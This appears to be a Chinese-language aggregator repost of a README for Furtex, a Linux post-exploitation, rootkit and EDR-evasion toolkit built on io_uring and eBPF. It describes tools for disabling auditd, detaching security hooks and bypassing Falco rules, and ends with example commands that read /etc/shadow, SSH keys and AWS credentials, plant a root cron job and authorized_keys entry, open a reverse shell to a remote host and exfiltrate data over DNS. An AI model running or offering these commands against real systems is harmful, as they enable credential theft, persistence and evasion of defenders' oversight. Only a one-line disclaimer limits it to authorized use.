返回

文章详情

Furtex:Linux的后利用、根套件和规避研究工具包

Hacker News2026年7月21日 22:39

用于Linux的后利用和规避研究工具包,围绕io_uring和eBPF构建。没有liburing,没有框架,完全依赖原始系统调用。更多工具即将发布。欢迎提交PR。加入根套件研究者:https://discord.gg/66N5ZQppU7 仅用于授权研究和红队活动。不要在您不拥有的系统上运行此工具。 Furtex/ ├── io_uring/ 原始io_uring操作:文件、网络、注入、提取(13个工具) ├── bpf/ BPF映射和程序工具(15个工具) ├── ebpf/ BPF侧程序和加载器(9个程序 + 2个运行程序) ├── edrs/ EDR规避和后利用(75个工具) └── techniques/ Falco特定的绕过,所有25个默认规则(13个工具) 要求: 工具链:gcc所需工具,所有用户空间二进制文件 clang ebpf/*.bpf.c BPF侧程序 make 构建系统 头文件和库: linux-headers-$(uname -r) <linux/bpf.h> , <linux/io_uring.h> 和相关内核头文件 libbpf-dev <bpf/bpf_helpers.h> 和用于ebpf/程序的其他文件 bpftool通过在ebpf/内运行make vmlinux生成vmlinux.h 在Debian/Kali/Ubuntu上: sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool 内核版本: 最低要求与解锁功能 5.4 io_uring基础(IORING_FEAT_SINGLE_MMAP,BPF映射迭代) 5.6 IORING_OP_OPENAT,IORING_OP_STATX,pidfd_getfd(pidfd_steal) 5.8 CAP_BPF + CAP_PERFMON拆分(替换BPF的CAP_SYS_ADMIN) 5.9 BPF_LINK_DETACH(bpf_link_detach) 5.19 IORING_OP_SOCKET(af_packet_send,dns_exfil,xdp_socket_send,bpf_kprobe_bypass) 功能: 需要它的能力工具 CAP_BPF(或5.8之前的CAP_SYS_ADMIN)所有bpf/工具,ebpf/加载器 CAP_PERFMON ebpf/跟踪点和kprobe程序 CAP_NET_RAW icmp_tunnel,af_packet_shell,skf_c2_runner,icmp_trigger CAP_NET_ADMIN xdp_socket_send,netfilter_flush CAP_AUDIT_CONTROL audit_kill BTF必须在内核中启用(CONFIG_DEBUG_INFO_BTF=y)才能运行make vmlinux用于ebpf/程序。 在具有旧libc-dev头文件的发行版上(Ubuntu 22.04等),您可能需要#ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45。该问题已在此仓库中处理。 构建命令: 构建全部:make all 仅构建io_uring:make uring io_uring/ 仅构建bpf:make bpf bpf/用户空间工具 仅构建ebpf:make ebpf BPF侧程序(需要clang + libbpf) 全部构建edrs:make edrs 所有 edrs/二进制文件 构建技术:make techniques Falco绕过工具 清理:make clean 删除所有二进制文件 edrs/具有自己的子Makefile,约75个按权限分拆的二进制文件: cd edrs && make priv # root / CAP_* 所需 cd edrs && make unpriv # 无需权限 查看PRIVILEGES.md以获取完整细分。 io_uring绕过覆盖: io_uring SQEs通过内核工作队列。 io_uring_enter(2)从不通过sys_call_table,永远不会触发sys_enter_*跟踪点,并且在native_sys_call上从不命中livepatch。这本身就杀死了一大类EDR钩子,而无需触碰任何东西。 io_uring自身绕过的内容: 钩子点备注 sys_call_table指针替换io_uring从不经过系统调用表 livepatch on native_sys_call / compat_sys_call同样的原因 sys_enter_*跟踪点工作队列路径,未触发追踪点 io_uring未自身绕过的内容(需要一个活动工具): 钩子点工具工具的功能 kprobes on vfs_read,security_file_open等ftrace_enum移除kprobe钩子 BPF LSM / KRSIbpf_link_detach断开BPF链接 Linux审计audit_kill通过NETLINK_AUDIT禁用auditd LD_PRELOAD / PLT-GOT补丁plt_unhook移除用户空间钩子 netfilter OUTPUT / conntrackaf_packet_shell在第2层使用AF_PACKET,跳过netfilter inet_stream_connect钩子udp_shell使用UDP,永远不调用tcp连接路径 io_uring/iouring_utils.h处理环的设置,无需liburing。 二进制文件功能 file_read通过io_uring打开+读取+关闭链,不触发sys_enter_read事件 file_write通过io_uring打开+写入+关闭链 file_append与file_write相同,但使用O_APPEND,偏移量为-1 net_connect在一个环中结合SOCKET+CONNECT+SEND+RECV net_reverse_shell通过io_uring反向shell CONNECT multifile_read在一个SQE批次中最多64个文件 memfd_exec通过stdin流式传输ELF到memfd,execve通过/proc/self/fd proc_inject通过/proc/PID/mem进行JIT注入;ptrace注入(--ptrace标志) pipe_splice内核到内核的SPLICE,用户空间钩子永远看不到字节 inotify_bypass_watchio_uring READ不会引发IN_ACCESS/IN_OPEN dns_exfil将数据以DNS查询标签的十六进制编码形式通过io_uring发送 af_packet_send原始以太网通过AF_PACKET(IORING_OP_SOCKET,绕过inet路径) xdp_socket_send原始帧通过AF_XDP + UMEM环,完全绕过netfilter ./io_uring/file_read /etc/shadow ./io_uring/file_write /etc/cron.d/x " * * * * * root /tmp/sh " ./io_uring/file_append /root/.ssh/authorized_keys " ssh-ed25519 AAAA... " ./io_uring/net_connect 10.0.0.1 4444 " ping " ./io_uring/net_reverse_shell 192.168.1.1 4444 ./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~ /.aws/credentials cat payload | ./io_uring/memfd_exec [args...] ./io_uring/pipe_splice /etc/shadow /tmp/out ./io_uring/inotify_bypass_watch /var/log/auth.log ./io_uring/dns_exfil 1.2.3.4 exfil.

赞助内容

NordVPN Next-gen Antivirus

本站免费、广告极少。如果觉得有帮助,可以请我们喝杯咖啡 —— 任何金额都对持续运营有实际帮助。

请我喝杯咖啡